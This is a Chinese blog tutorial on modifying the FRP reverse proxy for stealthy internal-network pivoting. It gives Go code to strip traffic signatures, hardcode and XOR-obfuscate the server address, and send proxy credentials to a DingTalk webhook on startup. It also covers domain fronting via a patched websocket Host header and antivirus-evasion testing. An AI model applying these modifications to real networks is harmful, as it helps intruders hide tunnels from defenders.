FRP魔改

FRP魔改

Todo:

  • 去除非 TLS 流量特征

    • frp/pkg/msg/msg.go
  • 配置文件写入源码

    • frp/cmd/frpc/sub/root.go
  • 通过参数传入 IP 端口,且参数异或加密,便于隐藏

    • frp/cmd/frpc/sub/root.go
  • 钉钉上线提醒

    • frp/client/control.go
  • 域前置:通过 websocket 协议让 FRP 上域前置

    • go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/client.go
    • go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/hybi.go
    • pkg/util/net/websocket.go
  • 文中相关流量包:frp-wireshark.zip

基本运行

  • 启动

    Bash
    1
    2
    3
    4
    5
    6
    7
    8
    # FrpServer
    $ ./frps -c frps.ini

    # frps.ini
    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000

    Bash
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # FrpClient
    $ ./frpc -c frpc.ini

    # frpc.ini
    [common]
    server_addr = 192.168.111.1
    server_port = 7000

    [plugin_socks]
    type = tcp
    remote_port = 7788
    plugin = socks5

  • 编译,运行package.sh即可交叉编译并打包各系统可执行文件

    Bash
    1
    2
    $ ./package.sh

  • 环境:这里用 Docker 起了个漏洞环境来模拟内网,IP为172.18.0.2,实体机是无法访问的

    Bash
    1
    2
    3
    # 查看容器IP地址
    $ docker inspect <容器ID>

FRP魔改-0

  • Proxy 配置:IP 为frpc.ini中的server_addr,Port 为frpc.ini中的remote_port

FRP魔改-1

非TLS流量特征

没有启用 TLS 时,frpc 在连接认证 frps 的时候会把 FRP 版本等信息发给 frps 进行认证。通过追踪 TCP 流量可以看到这些信息,目前一些流量设备就通过这个特征来识别 FRP 代理
可以看到有如下几个字段值:version, os, arch, privilege_key, pool_count, run_id

FRP魔改-2

去除的方法就是修改这些特征值即可,定位到frp/pkg/msg/msg.go文件

FRP魔改-3

修改这些结构体的字段,如下:

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
type Login struct {
Version string `json:"V"`
Hostname string `json:"H"`
Os string `json:"O"`
Arch string `json:"A"`
User string `json:"U"`
PrivilegeKey string `json:"PK"`
Timestamp int64 `json:"T"`
RunID string `json:"RID"`
Metas map[string]string `json:"M"`

// Some global configures.
PoolCount int `json:"PC"`
}

type LoginResp struct {
Version string `json:"V"`
RunID string `json:"RID"`
ServerUDPPort int `json:"SUP"`
Error string `json:"E"`
}

这里发现下面还有一个run_id,这个是在NewWorkConn结构体中的,修改方法同样

FRP魔改-4

然后配置代理进行测试,可以正常连接

FRP魔改-5

frp/client/service.go文件中可以看到这里的loginMsg调用了前面那些变量

FRP魔改-6

如果想要进一步修改,可以跟进并修改变量的值。如跟进version.Full(),可以直接修改version变量

FRP魔改-7

启用TLS及加密压缩

v0.25.0版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输,安全性更高。

Bash
1
2
3
4
5
6
7
8
9
10
11
[common]
server_addr = 192.168.111.1
server_port = 7000
# 启用TLS
tls_enable = true

[plugin_socks]
type = tcp
remote_port = 7788
plugin = socks5

FRP魔改-8

另外还可以启用加密和压缩,将通信内容加密传输,将会有效防止流量被拦截。

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 192.168.111.1
server_port = 7000
# 启用TLS
tls_enable = true

[plugin_socks]
type = tcp
remote_port = 7788
plugin = socks5
# 启用加密和压缩,躲避流量分析设备
use_encryption = true
use_compression = true

配置文件写入源码

将配置文件写入源码,且通过参数传递 IP

直接在frp/cmd/frpc/sub/root.go文件中添加一个参数

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 定义全局变量
var (
fileContent string
ip string
port string
)

// 编写 getFileContent 函数接收参数,并定义配置信息
func getFileContent(ip string, port string) {
var configContent string = `[common]
server_addr = ` + ip + `
server_port = ` + port + `
tls_enable = true
[plugin_socks]
type = tcp
remote_port = 7788
plugin = socks5
#plugin_user = <User>
#plugin_passwd = <Pwd>
`

fileContent = configContent
}

然后在init函数中定义传参

Go
1
2
3
4
5
6
7
8
9
func init() {
rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
rootCmd.PersistentFlags().StringVarP(&cfgDir, "config_dir", "", "", "config directory, run one frpc service for each file in config directory")
rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")

// 自定义接收 IP 和 Port 参数
rootCmd.PersistentFlags().StringVarP(&ip, "server_addr", "t", "", "server_addr")
rootCmd.PersistentFlags().StringVarP(&port, "server_port", "p", "", "server_port")
}

另外还要修改runClient()函数,但这里参考文章中的parseClientCommonCfg()函数在新版本已经删除,所以需要寻找其它函数

FRP魔改-9

其实这一步的主要的作用的将前面自定义的配置信息进行解析,这里跟进原版runClient()函数中的config.ParseClientConfig()函数

FRP魔改-10

跳转到frp/pkg/config/parse.go文件中,这里发现存在UnmarshalClientConfFromIni()函数来解析content配置信息,且该变量为[]byte类型

FRP魔改-11

Go 语言不支持重载,所以这里自定义一个runClient2()函数,接收ip,port两个参数,然后通过前面定义的getFileContent()函数获取fileContent,并转换为[]byte类型的content,然后套用config.ParseClientConfig()函数中前面图中的两部分

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 自定义函数进行处理
func runClient2(cfgFilePath string, ip string, port string) error {
getFileContent(ip, port)
content := []byte(fileContent)

// Parse common section.
cfg, err := config.UnmarshalClientConfFromIni(content)
if err != nil {
return err
}
cfg.Complete()
if err = cfg.Validate(); err != nil {
err = fmt.Errorf("parse config error: %v", err)
return err
}

// Parse all proxy and visitor configs.
pxyCfgs, visitorCfgs, err := config.LoadAllProxyConfsFromIni(cfg.User, content, cfg.Start)
if err != nil {
return err
}

return startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
}

最终在图中下面调用runClient()函数的地方修改为runClient2(),上面的是为一个配置目录内每个配置文件都起一个 frpc,因此不需要修改

FRP魔改-12

经测试可以正常使用

FRP魔改-13

传参加密混淆

前面直接传递 IP、Port 等参数容易留下痕迹,因此可以对传递的参数进行加密混淆,并在源码中进行解密

前面是通过frp/cmd/frpc/sub/root.go文件中的getFileContent()函数来接收 IP、Port 并拼接到配置信息的,所以可以在这个函数中进行解密操作。
这里实现一个异或函数,并在接收到参数后进行调用

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 实现异或函数
func str2xor(message string, keywords string) string {
result := ""

for i := 0; i < len(message); i++ {
result += string(message[i] ^ keywords[i%len(keywords)])
}
return result
}

// 编写 getFileContent 函数接收参数,并定义配置信息
func getFileContent(ip string, port string) {
// 接收到参数后调用异或函数
key := "testkey"
ip = str2xor(ip, key)
port = str2xor(port, key)

var configContent string = `[common]
server_addr = ` + ip + `
server_port = ` + port + `
tls_enable = true
[plugin_socks]
type = tcp
remote_port = 7788
plugin = socks5
`
fileContent = configContent
}

附带一个简单的异或小脚本

Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def str2xor(messages, key):
res = ""
for index, msg in enumerate(messages):
res += chr( ord(msg) ^ ord(key[index % len(key)]) )
print(res)

if __name__ == '__main__':
ip = "192.168.111.1" # E\AZZSAZTBEET
port = "7000" # CUCD

key = "testkey"
str2xor(ip, key)
str2xor(port, key)

测试,其中服务端 IP192.168.111.1异或后为E\AZZSAZTBEET,端口7000异或为CUCD。异或后的字符串可能存在特殊字符\,因此建议使用双引号包裹

Go
1
2
$ ./frpc_linux_amd64_xor -t "E\AZZSAZTBEET" -p "CUCD"

FRP魔改-14

其实这些都是在应用层进行加密混淆,实际上在网络层还是可以看到流量。因此,还需要进行例如域前置等操作来进一步隐藏

FRP魔改-15

钉钉上线提醒

  • frp/client/control.go#HandleNewProxyResp()函数中填入钉钉机器人AccessTokenSecret,然后在前面硬编码的配置部分添加相关plugin_userplugin_passwd即可。此处使用了https://github.com/wanghuiyt/ding,需要先下载依赖并导入,否则会编译失败
    Go
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    func (ctl *Control) HandleNewProxyResp(inMsg *msg.NewProxyResp) {
    xl := ctl.xl
    // Server will return NewProxyResp message to each NewProxy message.
    // Start a new proxy handler if no error got
    err := ctl.pm.StartProxy(inMsg.ProxyName, inMsg.RemoteAddr, inMsg.Error)
    if err != nil {
    xl.Warn("[%s] start error: %v", inMsg.ProxyName, err)
    } else {
    // 配置钉钉机器人
    dingAccessToken := ""
    dingSecret := ""

    if dingAccessToken != "" && dingSecret != "" {
    addr := ctl.clientCfg.ServerAddr + inMsg.RemoteAddr
    var plugin_user string
    var plugin_passwd string
    for _, v := range ctl.pxyCfgs {
    plugin_user = v.GetBaseInfo().LocalSvrConf.PluginParams["plugin_user"]
    plugin_passwd = v.GetBaseInfo().LocalSvrConf.PluginParams["plugin_passwd"]
    }

    d := ding.Webhook{
    AccessToken: dingAccessToken,
    Secret: dingSecret,
    }

    _ = d.SendMessage(
    "Proxy:" + inMsg.ProxyName + "\n" +
    "Server:" + addr + "\n" +
    "Username:" + plugin_user + "\n" +
    "Password:" + plugin_passwd + "\n" +
    "Time:" + time.Now().Format("2006-01-02 15:04:05"))
    }

    xl.Info("[%s] start proxy success", inMsg.ProxyName)
    }
    }

FRP魔改-16

域前置

原理

网上看了很多关于 FRP 域前置的文章,发现很多文章都提到需要“通过 Websocket 协议让FRP用上域前置”,但大部分都是上来就是实现 WSS 协议(后续官方 v0.21.0 版本支持该协议:frp/pull/1919),或者是修改 Websocket 相关第三方依赖包等等。很少有解释为什么要实现 Websocket 协议而不是直接使用 HTTP 协议,直到看到 frp改造3-CDN 这篇文章:

原来一直考虑的是在数据外封装一层 HTTP 协议来转发,但经过CDN转发会存在会话不一致的问题,因为本身也只是模拟 HTTP 协议,没法完全实现 HTTP 会话功能等
Websocket 只需要一次 HTTP 握手,后续整个通讯过程都是建立在一次连接/状态中,交换的数据不再需要 HTTP 头

测试

  • 先在 Frp Client 所在机器修改本地 Hosts 文件来模拟 DNS 域名解析,然后修改配置使用 Websocket 协议

    Bash
    1
    2
    3
    # /etc/hosts
    192.168.111.1 cdn.naraku.local

    Bash
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # frpc.ini
    [common]
    server_addr = cdn.naraku.local
    server_port = 7000
    protocol = websocket

    [plugin_socks]
    type = tcp
    remote_port = 7788
    plugin = socks5

  • 抓包并追踪 TCP 流量,可以看到该认证使用了 Websocket 协议

FRP魔改-17

  • 如果要实现域前置,则还需要将 Host 修改为指定的回源域名。但是 FRP 默认 Host 是连接地址,虽然目前版本的 FRP 可以自定义添加 Header:https://gofrp.org/docs/features/http-https/header/,但是仅支持 HTTP 协议。而这里使用的是 Websocket 协议,因此需要修改相关依赖包代码

FRP魔改-18

修改

在之前的版本中,FRP 是在frp/pkg/util/net/websocket.go#ConnectWebsocketServer()方法中调用了 Websocket,而该方法在 frp/commit/ea568e 中被移到了frp/pkg/util/net/conn.go#DialWebsocketServer(),然后又在 frp/commit/70f4ca 又移到了frp/pkg/util/net/dial.go#DialHookWebsocket()方法。下面主要围绕如下两个方法进行改动:

FRP魔改-19

跟进websocket.NewConfig(),跳转到go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/client.go#NewConfig()

FRP魔改-20

这里如果想从配置文件中读取回源域名 Host 的话,改动的地方比较多。例如需要先从frp/cmd/frpc/sub/root.go#RegisterCommonFlags()中注册变量,然后在models/config/client_common.go#ClientCommonConf{}结构体中新增属性,然后在一系列调用函数中新增该参数,相对比较麻烦。详细可参考:https://xz.aliyun.com/t/11460#toc-2
这里考虑到回源 Host 不会经常变动,并且不会泄露敏感信息,所以选择将其硬编码在代码中。修改方法如下:

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func NewConfig(server, origin string) (config *Config, err error) {
config = new(Config)
config.Version = ProtocolVersionHybi13
config.Location, err = url.ParseRequestURI(server)
if err != nil {
return
}
config.Origin, err = url.ParseRequestURI(origin)
if err != nil {
return
}
config.Header = http.Header(make(map[string][]string))
config.Header.Set("Host", "test.baidu.local")
return
}

然后跟进DialHookWebsocket() > websocket.NewClient() > hybiClientHandshake(),跳转到go/pkg/mod/golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781/websocket/hybi.go#hybiClientHandshake()

FRP魔改-21

这里是 WSS 协议配置 Host 的地方,默认的 Host 是请求地址。这里主要实现从请求头中获取Host属性,如果存在则进行赋值,覆盖掉前面的默认值。修改如下:

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func hybiClientHandshake(config *Config, br *bufio.Reader, bw *bufio.Writer) (err error) {
bw.WriteString("GET " + config.Location.RequestURI() + " HTTP/1.1\r\n")

// According to RFC 6874, an HTTP client, proxy, or other
// intermediary must remove any IPv6 zone identifier attached
// to an outgoing URI.

// FRP Websocket Host
host := config.Location.Host
if tmpHost := config.Header.Get("Host"); tmpHost != "" {
host = tmpHost
}
bw.WriteString("Host: " + removeZone(host) + "\r\n")
// bw.WriteString("Host: " + removeZone(config.Location.Host) + "\r\n")

bw.WriteString("Upgrade: websocket\r\n")
bw.WriteString("Connection: Upgrade\r\n")

return nil
}

修改root.go#getFileContent()函数,启用 Websocket 协议,并关闭 TLS 方便调试,如下:

FRP魔改-22

运行,可以看到 Host 已经改变

Bash
1
2
$ ./frpc_0.44.0_linux_amd64 -t "E\AZZSAZTBEET" -p "CUCD"

FRP魔改-23

这里还有一个比较明显的特征/~!frp,修改pkg/util/net/websocket.goFrpWebsocketPath变量即可

Bash
1
2
3
4
const (
FrpWebsocketPath = "/~!json"
)

免杀测试

FRP魔改-24

FRP魔改-25

参考